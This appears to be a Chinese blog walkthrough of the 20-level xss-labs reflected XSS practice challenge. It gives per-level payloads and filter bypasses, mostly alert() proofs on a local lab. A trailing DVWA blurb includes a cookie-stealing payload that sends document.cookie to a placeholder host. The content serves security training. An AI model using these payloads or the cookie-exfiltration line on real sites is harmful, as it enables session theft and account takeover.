050 XSS通关小游戏——xss challenge

一:下载与部署

xss challenge是个有关反射型xss的测试通关挑战,一共有20关。
下载地址:xss challenge
(访问密码:donMkh)
下载之后解压,把得到的文件夹放在phpstudy的www文件夹下即可
在这里插入图片描述
 

二:通关过程

这个是我自己的通关方法,不一定很准确

首页

在这里插入图片描述

level-01 没有任何机制

点击首页图片进入第一关,发现修改name的值,页面的显示也随之改变,这里我们首先直接试试<script>alert(/xss/)<script>,发现直接alert弹窗,过关。
命令:http://10.157.14.169/xss-labs-master/level1.php ?name=<script>alert(/xss/)</script>
在这里插入图片描述
 

level-02 双引号闭合标签

先随便输入,发现跟着变化
在这里插入图片描述
然后试试<script>alert(/xss/)</script>,发现输入的内容会被直接显示在页面中,这说明这段JS代码没有起作用,只是当作纯字符给输出到页面了。
右键页面查看源码:
在这里插入图片描述
发现尖括号都被转义成&lt和&gt了,导致浏览器无法识别script标签。那我们要想让script生效。怎么办?
由上图可以看出,第一个红框的内容就是input标签内的value值,我们就可以在input标签上做文章,先把input标签用">给闭合掉。
所以http://10.157.14.169/xss-labs-master/level2.php ?keyword="><script>alert(/xss/)</script>
在这里插入图片描述
 

level-03 单引号闭合标签+html事件

进入第三关,发现keyword变成了writing了
在这里插入图片描述
我们点击搜索试试看,又变回keyword
在这里插入图片描述
我们就直接在hackbar里面修改为?keyword,然后试试?keyword=<script>alert(/xss/)</script>
发现没啥用。
右键打开页面源码,发现无论是h2标签的值,还是input的value值都被转义了,那是不是可以试试第二关的方法用'>闭合input标签呢,试了下发现没用,因为第二关的value值没有被转义。
在这里插入图片描述
那现在我们进入xss-labs-master(就是复制到www目录下的)文件夹,找到level3.php文件,打开看看。
在这里插入图片描述
发现有一个htmlspecialchars函数。百度一下这个函数。这里我截图下来了。
在这里插入图片描述
然后上述level3.php代码.htmlspecialchars($str).这说明,< >都变成了html实体,也就是说,只是一个纯粹的< 和 >字符。并且.htmlspecialchars($str).外部还有双引号包裹,说明还过滤了双引号。
这里我们就可以考虑用html事件,事件的使用可以参考上一节内容。
这里用onmouseover='alert(/xss/)',上面分析得到过滤了双引号,所以单引号
http://10.157.14.169/xss-labs-master/level3.php?keyword='onmouseover='alert(/xss/)'
在这里插入图片描述
 

level-04 双引号闭合标签+html事件

尝试<script>alert(/xss/)</script>发现不行,觉得应该用"><script>alert(/xss/)</script>
在这里插入图片描述
发现都被转义了,那我们和上一关一样,考虑事件,这次使用双引号。"onmouseover='alert(/xss/)'
在这里插入图片描述
 

level-05 伪协议

还是一样的,首先尝试<script>alert(/xss/)</script>
发现不行,右键打开网页源码。
在这里插入图片描述
发现script被强行改成scr_ipt,参考上一节内容,有点像xss的变形。
我们查看源代码level5.php
在这里插入图片描述
发现进行了变形处理。此处只是针对<script>和on,后者表示onmouseover事件也不能用了,因为on会被替换为o_n
这时候,我们可以考虑伪协议,发下a标签没有被使用。
所以"><a href="javascript:alert(/xss/)">click me</a>
在这里插入图片描述
 

level-06 xss变形,大小写绕过

尝试了<script>alert(/xss/)</script>"><script>alert(/xss/)</script>?keyword="onmouseover='alert(/xss/)'均被替换了,如下图
在这里插入图片描述
然后http://10.157.14.169/xss-labs-master/level6.php?keyword="<a href="javascript:alert(/xss/)">click me</a>
发现也不行
在这里插入图片描述
那么我们考虑XSS变形,比如替换大小写之类的。并且让input标签闭合
?keyword="><a hREf="javascript:alert(/xss/)">click me</a>
在这里插入图片描述
这里我们可以查看level6.php源码
在这里插入图片描述
发现只做了 分隔字符 的过滤。
 

level-07 双写绕过

上面的方法都试了,发下on,script,href,src会消失,查看了level07.php源码,发现果然如此:
在这里插入图片描述
然后又依次试过了制表符,空格,还有字母转十进制编码,以及十六进制编码,发现都不行。
然后又重新看了下上一节内容的笔记,结合源码中,会把整个关键字(比如script on src data href)给替换为空,那么就可以试试双写绕过。然后就用了如下代码:
<scr<script>ipt>alert(/xss/)</scr<script>ipt>
执行后,发现不成功,然后右键查看页面源码
在这里插入图片描述
发现多了一对尖括号,所以直接去掉尖括号,成功闯关
http://10.157.14.169/xss-labs-master/level7.php?keyword="><scrscriptipt>alert(/xss/)</scrscriptipt>

在这里插入图片描述
 

level-08 自己试了没有成功,后续再补充

没有解决,没看懂,网上也有大佬解出来了,但是我直接复制过来,我这边都弄不出来。不知道什么问题导致的?
这是level8.php源码:

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level9.php?keyword=not bad!"; 
}
</script>
<title>欢迎来到level8</title>
</head>
<body>
<h1 align=center>欢迎来到level8</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
 echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
<center><img src=level8.jpg></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>

从上述源码中可以看出大小写,双引号,也过滤了,前面关,用过的也都不起作用。
看到有个a标签,我们可以考虑伪协议 + 字符编码。
先不编码:payload:javascript:alert(/xss/)
在这里插入图片描述
发现ri替换为r_i,
接下来考虑字符编码

这里有个字符实体转码的网站:点我

所以我们可以构造payload:?keyword=javasc&#x72;&#x69;pt:alert(/xss/)

在这里插入图片描述
页面代码:
在这里插入图片描述
我没成功,但是别人的可以,不知道为啥了?????????????
网上的成功图:
在这里插入图片描述

--------------可以先用取巧的方法跳过这一关,进入下一关-------------
在这里插入图片描述

 

补充:level08-20

8:
在输入框中输入,javascript:alert(1)的unicode的编码,编码网址:https://www.matools.com/app/unicode
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

9:
因为有个strpos函数,会获取字符中是否有http://
payload1:&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;/*http://*/
payload2:javasc&#x72;&#x69;pt:alert('xsshttp://')

10
把鼠标移动到输入框上
http://127.0.0.1/xss-labs-master/level10.php?t_sort=1" onmousemove="javascript:alert(1)" type="text"

11
F12查看,更改type的属性为text,t_ref输入框内输入123,然后回车,框内的值会变成http://127.0.0.1/xss-labs-master/level11.php?t_link=&t_history=&t_sort=&t_ref=123 得到的是浏览器的HTTP_REFERER
那么可以构造HTTP_REFERER的payload:利用hackbar工具,勾选Referer的选项,输入" onmouseover="javascript:alert()" type="text"

12
与11 类似,F12查看,更改type的属性为text,t_ua输入框内输入123,只不过把HTTP_REFERER替换成HTTP_USER_AGENT,与上同样的方法,利用hackbar工具,勾选User Agent的选项,
输入" onmousemove="javascript:alert()" type="text"

13
与12类似,可以直接查看源码,发现是对cookie相关的注入。所以打开浏览器F12选择存储,更改cookie的值," onmouseover="javascript:alert()" type="text",然后刷新页面即可

14
参考文章:
https://www.freebuf.com/articles/web/282983.html

15
http://127.0.0.1/xss-labs-master/level15.php?src='../../level1.php?name=<img src=1 onmouseover=alert()>'

16
可以先输入关键字测试一波看看那些被屏蔽了?keyword=" ' sRc DaTa OnFocus  OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()> &#106; 
发现大写转小写了,script替换为空格了,F12可以看到空格变成实体字符&nbsp;了,/也转空格了
空格可以用回车代替,回车的url编码为%0a,所以构造如下payload
http://127.0.0.1/xss-labs-master/level16.php?keyword=<img%0asrc='x'%0aonerror='alert(1)'>

17
查看17关的PHP源码,发现有个src=xsf01.swf,swf文件是以前的旧浏览器的flash文件,但是现在浏览器基本都不支持了,所以,把源码修改改为src=index.png,并不影响。
有个<embed>标签,这个标签定义了一个容器,用来嵌入外部的应用程序等。现在不建议使用,一般使用<img><iframe><video><audio>等标签代替。构造如下payload
http://127.0.0.1/xss-labs-master/level17.php?arg01=a&arg02=b onmouseover='alert(123);'

18
同上
http://127.0.0.1/xss-labs-master/level18.php?arg01=a&arg02=b onmouseover='alert(123);'

19
按照同上修改PHP文件,然后payload一下,发现并不能成功,因为在这一关的src=后面有个双引号,也就是说会把index.png?和你传入的值放在一起进行处理。又因为传入的值经过htmlspecialchars实体化处理,
所以无法闭合双引号。	先把index.png?恢复成原来的,然后参考大佬的文章:https://blog.csdn.net/u014029795/article/details/103213877

20
参考文章:
https://blog.csdn.net/u014029795/article/details/103217680


  • 2
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
DVWA(Damn Vulnerable Web Application)是一个用于测试和练习Web应用程序安全漏洞的靶场。XSS(Cross-Site Scripting)是一种常见的Web安全漏洞,攻击者通过注入恶意脚本代码,使得网站在用户端执行这些脚本,从而获取用户敏感信息或进行其他攻击行为。 为了在DVWA靶场中完成XSS通关,你可以尝试以下步骤: 1. 注入脚本:在输入框或者参数中注入恶意脚本代码,比如上面提到的payload,如<img src=x οnerrοr=document.write('<img src="http://ip:8899/' document.cookie '"/>')>。 2. 触发脚本执行:提交注入的脚本,使得网站后端将其返回到前端,并在用户端执行。 3. 获取结果:当脚本执行时,它会将用户的Cookie数据发送到指定的服务器上(http://ip:8899/)。 请注意,这是一种漏洞攻击示例,请在授权范围内使用,并遵循道德规范。在实际应用中,网站开发人员应该采取相应的安全措施来防止XSS攻击,例如输入验证、输出编码等。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* [DVWA通关--反射型XSSXSS (Reflected))](https://blog.csdn.net/elephantxiang/article/details/111146085)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] - *3* [DVWA靶场之xss通关笔记,详解带截图](https://blog.csdn.net/AboutLzs/article/details/123631604)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值